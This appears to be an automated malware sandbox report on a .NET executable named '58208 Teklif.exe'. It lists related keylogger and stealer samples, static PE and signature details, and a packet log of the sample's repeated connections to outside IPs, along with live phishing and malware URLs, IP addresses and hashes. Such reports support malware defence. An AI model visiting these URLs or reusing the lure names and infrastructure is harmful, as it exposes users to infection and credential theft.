	1d4D5ndo0x.exe	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse	172.67.169.18
	FGT5000800000.exe	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse	104.21.27.85

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	EUR 17252,8 20240403.vbs	Get hash	malicious	Remcos	Browse	172.67.215.45
	UPS 984645.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	DHL Shipping Documents_AWB 5032675620.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	RFQ_.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	104.26.12.205
	UPS 095886.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	http://midjourney.co	Get hash	malicious	Unknown	Browse	104.17.3.184
	KCS20240042- cutoms clearance doc.exe	Get hash	malicious	FormBook	Browse	104.21.78.7
	PO08042024.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	test.exe	Get hash	malicious	Globeimposter	Browse	172.67.164.215
	Purchase Order#44231.exe	Get hash	malicious	FormBook	Browse	23.227.38.74
CLOUDFLARENETUS	EUR 17252,8 20240403.vbs	Get hash	malicious	Remcos	Browse	172.67.215.45
	UPS 984645.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	DHL Shipping Documents_AWB 5032675620.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	RFQ_.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	104.26.12.205
	UPS 095886.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	http://midjourney.co	Get hash	malicious	Unknown	Browse	104.17.3.184
	KCS20240042- cutoms clearance doc.exe	Get hash	malicious	FormBook	Browse	104.21.78.7
	PO08042024.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	test.exe	Get hash	malicious	Globeimposter	Browse	172.67.164.215
	Purchase Order#44231.exe	Get hash	malicious	FormBook	Browse	23.227.38.74
ORACLE-BMC-31898US	acZPG2kRsL.elf	Get hash	malicious	Mirai	Browse	132.145.48.205
	kIUmnxfdLQ.elf	Get hash	malicious	Mirai	Browse	193.123.7.164
	Zarefy4bOs.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	https://letg.pages.dev/account/js-reporting/?crumb=uZ4.07kERLI&message=javascript_not_enabled&ref=%2Faccount%2Fchallenge%2Fpassword	Get hash	malicious	HTMLPhisher	Browse	150.136.26.45
	SAT8765456000.xlam.xlsx	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse	158.101.44.242
	https://objectstorage.sa-saopaulo-1.oraclecloud.com/n/grnf1myuo7lg/b/bucket-20240402-0423/o/indexsmoke.html	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	134.70.84.3
	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	mrPTE618YB.exe	Get hash	malicious	PureLog Stealer	Browse	150.136.132.149
	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	lxdriver_setup.exe	Get hash	malicious	Agent Tesla, AgentTesla	Browse	158.101.44.242

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	Zarefy4bOs.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	VI3 Operation Guide_tech Info versionfdp.exe	Get hash	malicious	Agent Tesla, AgentTesla	Browse	104.21.67.152
	Remittance_copy.pdf.scr.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	file.exe	Get hash	malicious	SmokeLoader, Xehook Stealer	Browse	104.21.67.152
	request-2.doc.exe	Get hash	malicious	Agent Tesla, AgentTesla	Browse	104.21.67.152
	https://my.visme.co/view/w46vn911-northshore-tractor-ltd	Get hash	malicious	Unknown	Browse	104.21.67.152
	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	Fuy2BDS9W2.exe	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse	104.21.67.152
	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
3b5074b1b5d032e5620f69f9f700ff0e	Project Details_22Q7305A-N23A-01#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	172.67.169.18
	EUR 17252,8 20240403.vbs	Get hash	malicious	Remcos	Browse	172.67.169.18
	UPS 984645.exe	Get hash	malicious	AgentTesla	Browse	172.67.169.18
	DHL Shipping Documents_AWB 5032675620.exe	Get hash	malicious	AgentTesla	Browse	172.67.169.18
	U00b7pdf.vbs	Get hash	malicious	GuLoader, Lokibot	Browse	172.67.169.18
	RFQ_.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	172.67.169.18
	58826828#U00b7pdf.vbs	Get hash	malicious	GuLoader, Lokibot	Browse	172.67.169.18
	UPS 095886.exe	Get hash	malicious	AgentTesla	Browse	172.67.169.18
	PO08042024.exe	Get hash	malicious	AgentTesla	Browse	172.67.169.18
	SecuriteInfo.com.Win32.PWSX-gen.3037.8784.exe	Get hash	malicious	AgentTesla	Browse	172.67.169.18

Process:	C:\Users\user\Desktop\58208 Teklif.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.284534608814056
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	58208 Teklif.exe
File size:	846'344 bytes
MD5:	dc59e080bc0be8cee52ec9e79ccc7e82
SHA1:	22d8e9aab959c584acc896bfeed170ffa672f1cb
SHA256:	95e4dd6cc5a341f4440a113e0a832175aa2f5baafd9c7483255a18088e1c2764
SHA512:	7b836760ab575de13b95878a075ff8998e57433d0a7f5b2efb2bc4e3d7c4459e06af9cd71ca19f36913afde5c2b265667658542d892a61ea7f5b17f19d2484e0
SSDEEP:	12288:6rLz6X60UHRoVNDWX4gpBRkZf0E5Vav8V7DcRIqlrTwimh0ndFJkTtlXkR:r67HRi4XLy90E5IUFgIqlrtnzQPC
TLSH:	20054CD1F1508D9AEC6B0AF1BD2AA43025E3BE9D54A4810C559EB71B76F3342209FE1F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f..............0..$...........B... ...`....@.. ....................... ............@................................

File Icon


Icon Hash:	aea4accc16a3d9be

Static PE Info

General

Entrypoint:	0x484216
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x660FAE9B [Fri Apr 5 07:56:11 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=COMODO RSA Code Signing CA, O=COMODO CA Limited, L=Salford, S=Greater Manchester, C=GB
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	13/11/2018 01:00:00 09/11/2021 00:59:59
Subject Chain	CN=Simon Tatham, O=Simon Tatham, L=Cambridge, S=Cambridgeshire, C=GB
Version:	3
Thumbprint MD5:	DABD77E44EF6B3BB91740FA46696B779
Thumbprint SHA-1:	5B9E273CF11941FD8C6BE3F038C4797BBE884268
Thumbprint SHA-256:	4CD3325617EBB63319BA6E8F2A74B0B8CCA58920B48D8026EBCA2C756630D570
Serial:	7C1118CBBADC95DA3752C46E47A27438

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
xor al, 38h
xor eax, 38483446h
xor al, 47h
dec eax
xor eax, 00003447h
add byte ptr [edx], dh
inc ebx
inc edx
push ebx
aaa
dec eax
xor eax, 00003439h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x841c3	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x86000	0x48a60	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0xcb400	0x3608	.rsrc
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xd0000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x81f64	0x54	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x8223c	0x82400	296ff05f0b9740645c3fd44944c9468a	False	0.9414793516074856	data	7.939659429835133	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x86000	0x48a60	0x48c00	55d17303af90a0aaec9680bdbec1ea2d	False	0.06316110932130584	data	4.772277429522695	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xd0000	0xc	0x200	56866c8b8f76466dc7825728370875b5	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x862e0	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 0	0.1798780487804878
RT_ICON	0x86948	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	0.2513440860215054
RT_ICON	0x86c30	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	0.3918918918918919
RT_ICON	0x86d58	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	0.3200959488272921
RT_ICON	0x87c00	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	0.33664259927797835
RT_ICON	0x884a8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	0.2622832369942196
RT_ICON	0x88a10	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 0	0.04393141403083114
RT_ICON	0xcaa38	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	0.18786307053941909
RT_ICON	0xccfe0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	0.2453095684803002
RT_ICON	0xce088	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	0.3484042553191489
RT_GROUP_ICON	0xce4f0	0x92	data	0.5753424657534246
RT_VERSION	0xce584	0x2f0	SysEx File - IDP	0.44148936170212766
RT_MANIFEST	0xce874	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 8, 2024 13:01:48.690182924 CEST	49709	80	192.168.2.11	193.122.130.0
Apr 8, 2024 13:01:48.844340086 CEST	80	49709	193.122.130.0	192.168.2.11
Apr 8, 2024 13:01:48.844527006 CEST	49709	80	192.168.2.11	193.122.130.0
Apr 8, 2024 13:01:48.845681906 CEST	49709	80	192.168.2.11	193.122.130.0
Apr 8, 2024 13:01:48.999202013 CEST	80	49709	193.122.130.0	192.168.2.11
Apr 8, 2024 13:01:49.539989948 CEST	80	49709	193.122.130.0	192.168.2.11
Apr 8, 2024 13:01:49.548007965 CEST	49709	80	192.168.2.11	193.122.130.0
Apr 8, 2024 13:01:49.701742887 CEST	80	49709	193.122.130.0	192.168.2.11
Apr 8, 2024 13:01:49.702605963 CEST	80	49709	193.122.130.0	192.168.2.11
Apr 8, 2024 13:01:49.750509977 CEST	49709	80	192.168.2.11	193.122.130.0
Apr 8, 2024 13:01:49.868834972 CEST	49711	443	192.168.2.11	104.21.67.152
Apr 8, 2024 13:01:49.868884087 CEST	443	49711	104.21.67.152	192.168.2.11
Apr 8, 2024 13:01:49.869095087 CEST	49711	443	192.168.2.11	104.21.67.152
Apr 8, 2024 13:01:49.877718925 CEST	49711	443	192.168.2.11	104.21.67.152
Apr 8, 2024 13:01:49.877737999 CEST	443	49711	104.21.67.152	192.168.2.11
Apr 8, 2024 13:01:50.143743038 CEST	443	49711	104.21.67.152	192.168.2.11
Apr 8, 2024 13:01:50.143873930 CEST	49711	443	192.168.2.11	104.21.67.152
Apr 8, 2024 13:01:50.148926020 CEST	49711	443	192.168.2.11	104.21.67.152
Apr 8, 2024 13:01:50.148945093 CEST	443	49711	104.21.67.152	192.168.2.11
Apr 8, 2024 13:01:50.149322033 CEST	443	49711	104.21.67.152	192.168.2.11
Apr 8, 2024 13:01:50.210649014 CEST	49711	443	192.168.2.11	104.21.67.152
Apr 8, 2024 13:01:50.217885017 CEST	49711	443	192.168.2.11	104.21.67.152
Apr 8, 2024 13:01:50.260247946 CEST	443	49711	104.21.67.152	192.168.2.11
Apr 8, 2024 13:01:50.434067011 CEST	443	49711	104.21.67.152	192.168.2.11
Apr 8, 2024 13:01:50.434169054 CEST	443	49711	104.21.67.152	192.168.2.11
Apr 8, 2024 13:01:50.434308052 CEST	49711	443	192.168.2.11	104.21.67.152
Apr 8, 2024 13:01:50.442275047 CEST	49711	443	192.168.2.11	104.21.67.152
Apr 8, 2024 13:01:50.446862936 CEST	49709	80	192.168.2.11	193.122.130.0
Apr 8, 2024 13:01:50.601237059 CEST	80	49709	193.122.130.0	192.168.2.11
Apr 8, 2024 13:01:50.603859901 CEST	49712	443	192.168.2.11	104.21.67.152
Apr 8, 2024 13:01:50.603898048 CEST	443	49712	104.21.67.152	192.168.2.11
Apr 8, 2024 13:01:50.604130983 CEST	49712	443	192.168.2.11	104.21.67.152
Apr 8, 2024 13:01:50.604429960 CEST	49712	443	192.168.2.11	104.21.67.152
Apr 8, 2024 13:01:50.604445934 CEST	443	49712	104.21.67.152	192.168.2.11
Apr 8, 2024 13:01:50.656708002 CEST	49709	80	192.168.2.11	193.122.130.0
Apr 8, 2024 13:01:50.861260891 CEST	443	49712	104.21.67.152	192.168.2.11
Apr 8, 2024 13:01:50.889914989 CEST	49712	443	192.168.2.11	104.21.67.152
Apr 8, 2024 13:01:50.889946938 CEST	443	49712	104.21.67.152	192.168.2.11
Apr 8, 2024 13:01:51.160197973 CEST	443	49712	104.21.67.152	192.168.2.11
Apr 8, 2024 13:01:51.160295010 CEST	443	49712	104.21.67.152	192.168.2.11
Apr 8, 2024 13:01:51.160590887 CEST	49712	443	192.168.2.11	104.21.67.152
Apr 8, 2024 13:01:51.161027908 CEST	49712	443	192.168.2.11	104.21.67.152
Apr 8, 2024 13:01:51.164868116 CEST	49709	80	192.168.2.11	193.122.130.0
Apr 8, 2024 13:01:51.166383028 CEST	49713	80	192.168.2.11	193.122.130.0
Apr 8, 2024 13:01:51.318478107 CEST	80	49709	193.122.130.0	192.168.2.11
Apr 8, 2024 13:01:51.318561077 CEST	49709	80	192.168.2.11	193.122.130.0
Apr 8, 2024 13:01:51.320240974 CEST	80	49713	193.122.130.0	192.168.2.11
Apr 8, 2024 13:01:51.320318937 CEST	49713	80	192.168.2.11	193.122.130.0
Apr 8, 2024 13:01:51.320504904 CEST	49713	80	192.168.2.11	193.122.130.0
Apr 8, 2024 13:01:51.474296093 CEST	80	49713	193.122.130.0	192.168.2.11
Apr 8, 2024 13:01:51.475860119 CEST	80	49713	193.122.130.0	192.168.2.11
Apr 8, 2024 13:01:51.477493048 CEST	49714	443	192.168.2.11	104.21.67.152
Apr 8, 2024 13:01:51.477519989 CEST	443	49714	104.21.67.152	192.168.2.11
Apr 8, 2024 13:01:51.477581024 CEST	49714	443	192.168.2.11	104.21.67.152
Apr 8, 2024 13:01:51.477891922 CEST	49714	443	192.168.2.11	104.21.67.152
Apr 8, 2024 13:01:51.477906942 CEST	443	49714	104.21.67.152	192.168.2.11
Apr 8, 2024 13:01:51.516063929 CEST	49713	80	192.168.2.11	193.122.130.0
Apr 8, 2024 13:01:51.737184048 CEST	443	49714	104.21.67.152	192.168.2.11
Apr 8, 2024 13:01:51.739408016 CEST	49714	443	192.168.2.11	104.21.67.152
Apr 8, 2024 13:01:51.739425898 CEST	443	49714	104.21.67.152	192.168.2.11
Apr 8, 2024 13:01:52.035379887 CEST	443	49714	104.21.67.152	192.168.2.11
Apr 8, 2024 13:01:52.035492897 CEST	443	49714	104.21.67.152	192.168.2.11
Apr 8, 2024 13:01:52.035537004 CEST	49714	443	192.168.2.11	104.21.67.152
Apr 8, 2024 13:01:52.036711931 CEST	49714	443	192.168.2.11	104.21.67.152
Apr 8, 2024 13:01:52.052531958 CEST	49715	80	192.168.2.11	193.122.130.0
Apr 8, 2024 13:01:52.206876040 CEST	80	49715	193.122.130.0	192.168.2.11
Apr 8, 2024 13:01:52.210766077 CEST	49715	80	192.168.2.11	193.122.130.0
Apr 8, 2024 13:01:52.211030960 CEST	49715	80	192.168.2.11	193.122.130.0
Apr 8, 2024 13:01:52.365554094 CEST	80	49715	193.122.130.0	192.168.2.11
Apr 8, 2024 13:01:52.366915941 CEST	80	49715	193.122.130.0	192.168.2.11
Apr 8, 2024 13:01:52.370347023 CEST	49717	443	192.168.2.11	104.21.67.152
Apr 8, 2024 13:01:52.370407104 CEST	443	49717	104.21.67.152	192.168.2.11
Apr 8, 2024 13:01:52.370615959 CEST	49717	443	192.168.2.11	104.21.67.152
Apr 8, 2024 13:01:52.371355057 CEST	49717	443	192.168.2.11	104.21.67.152
Apr 8, 2024 13:01:52.371370077 CEST	443	49717	104.21.67.152	192.168.2.11
Apr 8, 2024 13:01:52.421457052 CEST	49715	80	192.168.2.11	193.122.130.0
Apr 8, 2024 13:01:52.629376888 CEST	443	49717	104.21.67.152	192.168.2.11
Apr 8, 2024 13:01:52.632445097 CEST	49717	443	192.168.2.11	104.21.67.152
Apr 8, 2024 13:01:52.632462978 CEST	443	49717	104.21.67.152	192.168.2.11
Apr 8, 2024 13:01:52.927491903 CEST	443	49717	104.21.67.152	192.168.2.11
Apr 8, 2024 13:01:52.927598000 CEST	443	49717	104.21.67.152	192.168.2.11
Apr 8, 2024 13:01:52.927671909 CEST	49717	443	192.168.2.11	104.21.67.152
Apr 8, 2024 13:01:52.928303003 CEST	49717	443	192.168.2.11	104.21.67.152
Apr 8, 2024 13:01:52.932368994 CEST	49715	80	192.168.2.11	193.122.130.0
Apr 8, 2024 13:01:52.933501959 CEST	49719	80	192.168.2.11	193.122.130.0
Apr 8, 2024 13:01:53.086292982 CEST	80	49715	193.122.130.0	192.168.2.11
Apr 8, 2024 13:01:53.086363077 CEST	49715	80	192.168.2.11	193.122.130.0
Apr 8, 2024 13:01:53.086406946 CEST	80	49719	193.122.130.0	192.168.2.11
Apr 8, 2024 13:01:53.086496115 CEST	49719	80	192.168.2.11	193.122.130.0
Apr 8, 2024 13:01:53.086651087 CEST	49719	80	192.168.2.11	193.122.130.0
Apr 8, 2024 13:01:53.240863085 CEST	80	49719	193.122.130.0	192.168.2.11
Apr 8, 2024 13:01:53.241333008 CEST	80	49719	193.122.130.0	192.168.2.11
Apr 8, 2024 13:01:53.243118048 CEST	49720	443	192.168.2.11	104.21.67.152
Apr 8, 2024 13:01:53.243159056 CEST	443	49720	104.21.67.152	192.168.2.11
Apr 8, 2024 13:01:53.243222952 CEST	49720	443	192.168.2.11	104.21.67.152
Apr 8, 2024 13:01:53.243590117 CEST	49720	443	192.168.2.11	104.21.67.152
Apr 8, 2024 13:01:53.243603945 CEST	443	49720	104.21.67.152	192.168.2.11
Apr 8, 2024 13:01:53.297297955 CEST	49719	80	192.168.2.11	193.122.130.0
Apr 8, 2024 13:01:53.502646923 CEST	443	49720	104.21.67.152	192.168.2.11
Apr 8, 2024 13:01:53.505273104 CEST	49720	443	192.168.2.11	104.21.67.152
Apr 8, 2024 13:01:53.505305052 CEST	443	49720	104.21.67.152	192.168.2.11
Apr 8, 2024 13:01:53.802433968 CEST	443	49720	104.21.67.152	192.168.2.11
Apr 8, 2024 13:01:53.802532911 CEST	443	49720	104.21.67.152	192.168.2.11
Apr 8, 2024 13:01:53.802582026 CEST	49720	443	192.168.2.11	104.21.67.152
Apr 8, 2024 13:01:53.803188086 CEST	49720	443	192.168.2.11	104.21.67.152
Apr 8, 2024 13:01:53.807853937 CEST	49719	80	192.168.2.11	193.122.130.0
Apr 8, 2024 13:01:53.809135914 CEST	49721	80	192.168.2.11	193.122.130.0
Apr 8, 2024 13:01:53.960949898 CEST	80	49719	193.122.130.0	192.168.2.11
Apr 8, 2024 13:01:53.961056948 CEST	49719	80	192.168.2.11	193.122.130.0
Apr 8, 2024 13:01:53.963282108 CEST	80	49721	193.122.130.0	192.168.2.11
Apr 8, 2024 13:01:53.963387012 CEST	49721	80	192.168.2.11	193.122.130.0
Apr 8, 2024 13:01:53.963572979 CEST	49721	80	192.168.2.11	193.122.130.0
Apr 8, 2024 13:01:54.117407084 CEST	80	49721	193.122.130.0	192.168.2.11
Apr 8, 2024 13:01:54.119596004 CEST	80	49721	193.122.130.0	192.168.2.11
Apr 8, 2024 13:01:54.121078968 CEST	49722	443	192.168.2.11	104.21.67.152
Apr 8, 2024 13:01:54.121114969 CEST	443	49722	104.21.67.152	192.168.2.11
Apr 8, 2024 13:01:54.121306896 CEST	49722	443	192.168.2.11	104.21.67.152
Apr 8, 2024 13:01:54.121670961 CEST	49722	443	192.168.2.11	104.21.67.152
Apr 8, 2024 13:01:54.121687889 CEST	443	49722	104.21.67.152	192.168.2.11
Apr 8, 2024 13:01:54.172321081 CEST	49721	80	192.168.2.11	193.122.130.0
Apr 8, 2024 13:01:54.378905058 CEST	443	49722	104.21.67.152	192.168.2.11
Apr 8, 2024 13:01:54.381033897 CEST	49722	443	192.168.2.11	104.21.67.152
Apr 8, 2024 13:01:54.381053925 CEST	443	49722	104.21.67.152	192.168.2.11
Apr 8, 2024 13:01:54.675463915 CEST	443	49722	104.21.67.152	192.168.2.11
Apr 8, 2024 13:01:54.675602913 CEST	443	49722	104.21.67.152	192.168.2.11
Apr 8, 2024 13:01:54.676297903 CEST	49722	443	192.168.2.11	104.21.67.152
Apr 8, 2024 13:01:54.694022894 CEST	49722	443	192.168.2.11	104.21.67.152
Apr 8, 2024 13:01:54.699714899 CEST	49721	80	192.168.2.11	193.122.130.0
Apr 8, 2024 13:01:54.701838970 CEST	49723	80	192.168.2.11	193.122.130.0
Apr 8, 2024 13:01:54.853585958 CEST	80	49721	193.122.130.0	192.168.2.11
Apr 8, 2024 13:01:54.853650093 CEST	49721	80	192.168.2.11	193.122.130.0
Apr 8, 2024 13:01:54.855583906 CEST	80	49723	193.122.130.0	192.168.2.11
Apr 8, 2024 13:01:54.855767012 CEST	49723	80	192.168.2.11	193.122.130.0
Apr 8, 2024 13:01:54.855967999 CEST	49723	80	192.168.2.11	193.122.130.0
Apr 8, 2024 13:01:55.009622097 CEST	80	49723	193.122.130.0	192.168.2.11
Apr 8, 2024 13:01:55.037714958 CEST	80	49723	193.122.130.0	192.168.2.11
Apr 8, 2024 13:01:55.039118052 CEST	49724	443	192.168.2.11	104.21.67.152
Apr 8, 2024 13:01:55.039155006 CEST	443	49724	104.21.67.152	192.168.2.11
Apr 8, 2024 13:01:55.039238930 CEST	49724	443	192.168.2.11	104.21.67.152
Apr 8, 2024 13:01:55.039675951 CEST	49724	443	192.168.2.11	104.21.67.152
Apr 8, 2024 13:01:55.039685965 CEST	443	49724	104.21.67.152	192.168.2.11
Apr 8, 2024 13:01:55.078594923 CEST	49723	80	192.168.2.11	193.122.130.0
Apr 8, 2024 13:01:55.298595905 CEST	443	49724	104.21.67.152	192.168.2.11
Apr 8, 2024 13:01:55.300719023 CEST	49724	443	192.168.2.11	104.21.67.152
Apr 8, 2024 13:01:55.300733089 CEST	443	49724	104.21.67.152	192.168.2.11
Apr 8, 2024 13:01:55.598110914 CEST	443	49724	104.21.67.152	192.168.2.11
Apr 8, 2024 13:01:55.598398924 CEST	443	49724	104.21.67.152	192.168.2.11
Apr 8, 2024 13:01:55.598541975 CEST	49724	443	192.168.2.11	104.21.67.152
Apr 8, 2024 13:01:55.599204063 CEST	49724	443	192.168.2.11	104.21.67.152
Apr 8, 2024 13:01:55.603230953 CEST	49723	80	192.168.2.11	193.122.130.0
Apr 8, 2024 13:01:55.604851961 CEST	49725	80	192.168.2.11	193.122.130.0
Apr 8, 2024 13:01:55.757018089 CEST	80	49723	193.122.130.0	192.168.2.11
Apr 8, 2024 13:01:55.757075071 CEST	49723	80	192.168.2.11	193.122.130.0
Apr 8, 2024 13:01:55.758409977 CEST	80	49725	193.122.130.0	192.168.2.11
Apr 8, 2024 13:01:55.758512974 CEST	49725	80	192.168.2.11	193.122.130.0
Apr 8, 2024 13:01:55.758650064 CEST	49725	80	192.168.2.11	193.122.130.0
